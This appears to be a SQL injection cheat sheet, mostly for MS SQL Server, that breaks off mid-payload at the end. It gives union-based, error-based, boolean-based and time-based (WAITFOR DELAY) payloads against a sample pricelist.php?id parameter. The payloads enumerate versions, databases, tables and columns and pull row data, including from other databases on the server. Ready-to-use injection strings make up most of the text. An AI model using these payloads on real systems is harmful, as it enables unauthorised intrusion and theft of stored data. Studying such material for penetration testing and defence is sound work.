In the process of exploiting a database, this step involves studying the database and extracting information out of it.
There are three main methods of enumeration,
Union based
Error based
Inferential
Time based
Boolean based
There are a few variables in the query that you can use interchangeably to extract the information that you desire,
db_name() - To extract the database name
username() or user() - To extract the username the database runs under
@@servername - To extract the server name
host_name() - To extract the host name
In order to be able to extract information, you have to identify a page that takes parameters to fetch data from the database and display it through the response. Let us take for example a page that takes an id and then fetches the relevant row from the database. The response page may display a number of columns that are fetched from that table or errors returned by the db.
Union Based
In union based we use the union function to append the malicious query to the value that we submit.
An important point is that the table may contain more columns than that are fetched and displayed.
Our first step is to determine the number of columns that are present.
No. of Columns
http://192.168.1.1/pricelist.php?id=1 order by 1
The above SQL query will sort the results by column number denoted at the end. Now, increase this number until you hit an error, indicating the number of columns the table contains.
Determine Column No.
The next step is to identify the column number that are being displayed on the page, since this is important when we try to extract data from the tables.
http://192.168.1.1/pricelist.php?id=1 union select all 1, 2, 3
We assume that the table contains 3 columns and the columns that are displayed will be marked by its respective number.
Once we know the columns that are displayed, we can start including the necessary queries into the column that has maximum space for displaying the results. For e.g if column number 2 are for comments and page allocates space for displaying maximum information, then the extraction queries can be constructed in a way to display the results within this space.
Some of the examples for extracting info related to the database are,
#Get Version
http://192.168.1.1/pricelist.php?id=1 union select all 1, 2, @@version
#Get User
http://192.168.1.1/pricelist.php?id=1 union select all 1, 2, user()
#Get Table Name
http://192.168.1.1/pricelist.php?id=1 union select all 1, 2, table_name from information_schema.tables
http://192.168.1.1/pricelist.php?id=1 UNION SELECT NULL,name,NULL FROM sysobjects WHERE xtype = 'U'--
#Get Column Name
http://192.168.1.1/pricelist.php?id=1 union select all 1, 2, column_name from information_schema.columns where table_name='xxxx'
http://192.168.1.1/pricelist.php?id=1 UNION SELECT NULL,name,NULL FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'table1')-- will extract columns from a specific table in the current database
In all the above mentioned queries the malicious query is inserted into an integer field and hence the quote is not closed. If the same were to be applied to a string field, then the query has to start with a quote to close the field.
#Extract Data
UNION SELECT NULL,column1,NULL FROM table1--
#Extract Table Names from Another Database
UNION SELECT NULL,name,NULL FROM other_database..sysobjects WHERE xtype = 'U'--
#Extract Column Names from another Database
UNION SELECT other_database..syscolumns.name, TYPE_NAME(other_database..syscolumns.xtype),NULL FROM other_database..syscolumns, other_database..sysobjects WHERE other_database..syscolumns.id=other_database..sysobjects.id AND other_database..sysobjects.name='other_table'--
#Extract Data from another Database
UNION SELECT NULL,other_column,NULL FROM other_database..other_table--
Error Based
A valid SQL query is encapsulated within an error based query to force an error to be displayed.
The following queries can be used,
#Get the database version
1 AND 1=CONVERT(INT,@@version)--
#Get Database names
1 AND 1=CONVERT(INT,db_name(N))--
1 AND 1=CONVERT(INT,(SELECT CAST(name AS nvarchar(4000)) FROM master..sysdatabases WHERE dbid=N))--
#Get Table Count
1 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT(*) AS nvarchar(4000)) FROM information_schema.TABLES )+CHAR(58)+CHAR(58)))--
#Get Table Names
1 AND 1= CONVERT(INT,(CHAR(58)+(SELECT DISTINCT top 1 TABLE_NAME FROM (SELECT DISTINCT top N TABLE_NAME FROM information_schema.TABLES ORDER BY TABLE_NAME ASC) sq ORDER BY TABLE_NAME DESC)+CHAR(58)))--
#In some cases add the database name before the "Information_schema" to fech info.
#Get Column Names
1 AND 1=CONVERT(INT,(CHAR(58)+(SELECT DISTINCT top 1 column_name FROM (SELECT DISTINCT top N column_name FROM information_schema.COLUMNS WHERE TABLE_NAME='table1' ORDER BY column_name ASC) sq ORDER BY column_name DESC)+CHAR(58)))--
#In some cases add the table name before the "Information_schema" to fech info.
#Get Count of Entries
1 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT(*) AS nvarchar(4000)) FROM table1)+CHAR(58)+CHAR(58)))--
#Get Data
1 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 column1+CHAR(58)+column2 FROM (SELECT top 1 column1 , column2 FROM table1 ORDER BY column1 ASC) sq ORDER BY column1 DESC)+CHAR(58)+CHAR(58)))--
#Get Next row by changing the second top 1
1 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 column1+CHAR(58)+column2 FROM (SELECT top 2 column1, column2 FROM table1 ORDER BY column1 ASC) sq ORDER BY column1 DESC)+CHAR(58)+CHAR(58)))--
#Tables from another database
1 AND 1=CONVERT(INT,(CHAR(58)+(SELECT DISTINCT top 1 TABLE_NAME FROM (SELECT DISTINCT top N TABLE_NAME FROM other_database.information_schema.TABLES ORDER BY TABLE_NAME ASC) sq ORDER BY TABLE_NAME DESC)+CHAR(58)))--
#Columns from another database
1 AND 1=CONVERT(INT,(CHAR(58)+(SELECT DISTINCT top 1 column_name FROM (SELECT DISTINCT top N column_name FROM other_database.information_schema.COLUMNS WHERE TABLE_NAME='other_table' ORDER BY column_name ASC) sq ORDER BY column_name DESC)+CHAR(58)))--
#No. of entries on another database
1 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 CAST(COUNT(*) AS nvarchar(4000)) FROM [other_database]..[other_table] )+CHAR(58)+CHAR(58)))--
#Extract data from another database
1 AND 1=CONVERT(INT,(CHAR(58)+CHAR(58)+(SELECT top 1 other_column FROM (SELECT top N other_column FROM other_database..other_table ORDER BY other_column ASC) sq ORDER BY other_column DESC)+CHAR(58)+CHAR(58)))--
Method 2:
This is another method, but slower,
#Extract database names, replace N with a numbers
1 AND 1=CONVERT(INT,db_name(N))--
#First Table Name:
1 AND 1=CONVERT(INT,(SELECT top 1 TABLE_NAME FROM information_schema.TABLES))--
#Next Table name using the already extracted name:
1 AND 1=CONVERT(INT,(SELECT top 1 TABLE_NAME FROM information_schema.TABLES WHERE TABLE_NAME NOT IN ('table1')))--
#Extract Column Names:
1 AND 1=CONVERT(INT,(SELECT top 1 column_name FROM information_schema.COLUMNS WHERE TABLE_NAME='table1'))--
1 AND 1=CONVERT(INT,(SELECT top 1 column_name FROM information_schema.COLUMNS WHERE TABLE_NAME='table1' AND column_name NOT IN ('column1')))--
#Extract data:
1 AND 1=CONVERT(INT,(SELECT top 1 column1 FROM table1))--
1 AND 1=CONVERT(INT,(SELECT top 1 column1 FROM table1 WHERE column1 NOT IN ('result1')))--
1 AND 1=CONVERT(INT,(SELECT top 1 column1 FROM table1 WHERE column1 NOT IN ('result1', 'result2')))--
Having & Group by
Having and Group by can be used to perform some basic enumeration of the current database,
#Current Table and first column:
1 HAVING 1=1--
#Enumerate second column:
1 GROUP BY table1.column1 HAVING 1=1--
#Third Column
1 GROUP BY table1.column1, table1.column2 HAVING 1=1--
Inferential
This method is about inferencing from the queries submitted to the database. Boolean based returns an expected page when true and a different page when false. Time based on the other hand includes a condition to wait for a limited time when true or return immediately when false.
Boolean
#Version length:
1 AND LEN(@@version)>5--
#First character of version:
1 AND ASCII(LOWER(SUBSTRING((@@version),1,1)))>97--
#Second character of version:
1 AND ASCII(LOWER(SUBSTRING((@@version),2,1)))>97--
#Extract databases (replace N):
1 AND LEN(DB_NAME())>5--
1 AND ASCII(LOWER(SUBSTRING((DB_NAME(N)),1,1)))>97--
#Extract 1st table:
1 AND LEN((SELECT TOP 1 NAME FROM sysobjects WHERE xtype='U'))>5--
1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 NAME FROM sysobjects WHERE xtype='U'),1,1)))>97--
#Extract 2nd table:
1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 NAME FROM sysobjects WHERE xtype='U' AND name >'table1'),1,1)))>97--
#Extract 3rd table (replace table2 with the second table’s name):
1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 NAME FROM sysobjects WHERE xtype='U' AND name>'table2'),1,1)))>97--
#Extract 1st column:
1 AND LEN((SELECT TOP 1 column_name FROM information_schema.COLUMNS WHERE TABLE_NAME='table1'))>5--
1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 column_name FROM information_schema.COLUMNS WHERE TABLE_NAME='table1'),1,1)))>97--
#Extract 2nd column:
1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 column_name FROM information_schema.COLUMNS WHERE TABLE_NAME='table1' AND column_name >'column1'),1,1)))>97--
#Extract 1st field of column1:
1 AND LEN((SELECT TOP 1 column1 FROM table1))>5--
1 AND ASCII(SUBSTRING((SELECT TOP 1 column1 FROM table1),1,1))>65--
#Extract 1st field of column2:
1 AND LEN((SELECT TOP 1 column2 FROM table1))>5--
1 AND ASCII(SUBSTRING((SELECT TOP 1 column2 FROM table1),1,1))>65--
#Extract 2nd field of column1:
1 AND ASCII(SUBSTRING((SELECT TOP 1 column1 FROM table1 WHERE column1 >'field1'),1,1))>65--
#Extract table 1 from another database
1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 NAME FROM other_database..sysobjects WHERE xtype='U'),1,1)))>97--
#Extract 1st column from another database:
1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 column_name FROM other_database.information_schema.COLUMNS WHERE TABLE_NAME='other_table'),1,1)))>97--
#Extract data from another database:
1 AND ASCII(SUBSTRING((SELECT TOP 1 other_column FROM other_database..other_table),1,1))>65--
Time
#Version:
1; IF LEN(@@version)>5 WAITFOR DELAY '00:00:15'--
1; IF ASCII(LOWER(SUBSTRING((@@version),1,1)))>97 WAITFOR DELAY '00:00:15'--
#Database Name:
1; IF(LEN(DB_NAME())>5 WAITFOR DELAY '00:00:15'--
1; IF ASCII(LOWER(SUBSTRING((DB_NAME(N)),1,1)))>97 WAITFOR DELAY '00:00:15'--
#Table 1:
1; IF (LEN((SELECT TOP 1 NAME FROM sysobjects WHERE xtype='U'))>5) WAITFOR DELAY '00:00:15'--
1; IF ASCII(LOWER(SUBSTRING((SELECT TOP 1 NAME FROM sysobjects WHERE xtype='U'),1,1)))>97 WAITFOR DELAY '00:00:15'--
#Table 2:
1; IF ASCII(LOWER(SUBSTRING((SELECT TOP 1 NAME FROM sysobjects WHERE xtype='U' AND name>'table1'),1,1)))>97 WAITFOR DELAY '00:00:15'--
#Table 3:
1; IF ASCII(LOWER(SUBSTRING((SELECT TOP 1 NAME FROM sysobjects WHERE xtype='U' AND name>'table2'),1,1)))>97 WAITFOR DELAY '00:00:15'--
#First Column:
1; IF LEN((SELECT TOP 1 column_name FROM information_schema.COLUMNS WHERE TABLE_NAME='table1'))>5 WAITFOR DELAY '00:00:15'--
1; IF ASCII(LOWER(SUBSTRING((SELECT TOP 1 column_name FROM information_schema.COLUMNS WHERE TABLE_NAME='table1'),1,1)))>97 WAITFOR DELAY '00:00:15'--
#Second Column
1; IF ASCII(LOWER(SUBSTRING((SELECT TOP 1 column_name FROM information_schema.COLUMNS WHERE TABLE_NAME='table1' AND column_name >'column1' ),1,1)))>97 WAITFOR DELAY '00:00:15'--
#First field of column one:
1; IF LEN((SELECT TOP 1 column1 FROM table1))>5 WAITFOR DELAY '00:00:15'--
1; IF ASCII(SUBSTRING((SELECT TOP 1 column1 FROM table1),1,1))>65 WAITFOR DELAY '00:00:15'--
#First field of column two:
1; IF LEN((SELECT TOP 1 column2 FROM table1))=3 WAITFOR DELAY '00:00:15'--
1; IF ASCII(SUBSTRING((SELECT TOP 1 column2 FROM table1),1,1))>65 WAITFOR DELAY '00:00:15'--
#Second field of column one:
1; IF ASCII(SUBSTRING((SELECT TOP 1 column1 FROM table1 WHERE column1 >'field1'),1,1))>65 WAITFOR DELAY '00:00:15'--
#Table 1 from another database:
1; IF ASCII(LOWER(SUBSTRING((SELECT TOP 1 NAME FROM other_database..sysobjects WHERE xtype='U'),1,1)))=117 WAITFOR DELAY '00:00:15'--
#First column from another database:
1; IF ASCII(LOWER(SUBSTRING((SELECT TOP 1 column_name FROM other_database.information_schema.COLUMNS WHERE TABLE_NAME='table1'),1,1)))>97 WAITFOR DELAY '00:00:15'--
#First field of column 1 from another database:
1; IF (ASCII(SUBSTRING((SELECT TOP 1 other_column FROM other_database..other_table)
